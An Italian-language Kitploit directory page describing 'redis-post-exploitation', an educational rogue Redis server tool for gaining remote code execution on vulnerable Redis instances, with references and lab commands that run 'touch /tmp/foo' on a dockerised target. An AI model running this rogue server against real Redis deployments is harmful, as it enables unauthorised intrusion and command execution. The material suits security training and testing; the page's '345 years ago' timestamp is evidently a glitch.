Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

Directory degli strumenti

Categorie

Vedi tutte le categorie

Loading categories

Strumenti/

GitHub/knqyf263/redis-post-exploitation

Analisi delle Vulnerabilità Exploit Post-Exploit Penetration Testing Apprendimento e Formazione Sicurezza dei Database

knqyf263/redis-post-exploitation

redis-post-exploitation

Strumento educativo di tipo rogue server Redis per la fase di post-exploitation. Distribuisce un server Redis dannoso per ottenere l'esecuzione remota di codice ed eseguire comandi arbitrari su istanze Redis vulnerabili.

Strumenti/

GitHub/knqyf263/redis-post-exploitation

Analisi delle Vulnerabilità Exploit Post-Exploit Penetration Testing Apprendimento e Formazione Sicurezza dei Database

knqyf263/redis-post-exploitation

redis-post-exploitation

Vedi Repository

345 anni fa

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

redis-post-exploitation

Solo per scopi educativi

Riferimenti

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
https://paper.seebug.org/975/

Rogue Server

https://github.com/knqyf263/redis-rogue-server

Compilazione

root@kitploit:~

$ docker-compose build

Esecuzione

root@kitploit:~

$ docker-compose up -d
$ docker-compose exec rogue sh

root@kitploit:~

/rogue/redis-rogue-server # python3 rogue3.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo

Verifica

root@kitploit:~

$ docker-compose exec redis sh

root@kitploit:~

/data # ls /tmp/
foo

Scarica lo strumento